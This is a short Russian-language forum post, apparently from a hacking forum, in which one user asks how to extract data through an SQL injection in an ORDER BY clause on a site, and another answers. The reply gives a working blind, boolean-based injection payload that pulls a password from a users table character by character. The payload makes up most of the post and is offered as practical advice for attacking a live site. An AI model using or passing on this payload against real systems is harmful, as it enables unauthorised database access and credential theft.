Показать сообщение отдельно

  #3  
Старый 17.05.2010, 17:35
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423

Репутация: 32
По умолчанию

Цитата:
Сообщение от [R]eD  
Имеется сайт, в нем скуля в .... ORDER BY $id

Переборка запроса вроде
Код:
(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
работает.

Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?
Все достаточно просто: с помощью подзапросов, вместо user() подставляешь запрос типа (SELECT+password+FROM+users+WHERE+userid='1') и таким образом запрос получается такой:
(id*IF(ASCII(SUBSTRING((SELECT+password+FROM+users +WHERE+userid='1'),1,1))=113,1,-1)), а далее посимвольно перебираешь остальную часть пароля
 
Ответить с цитированием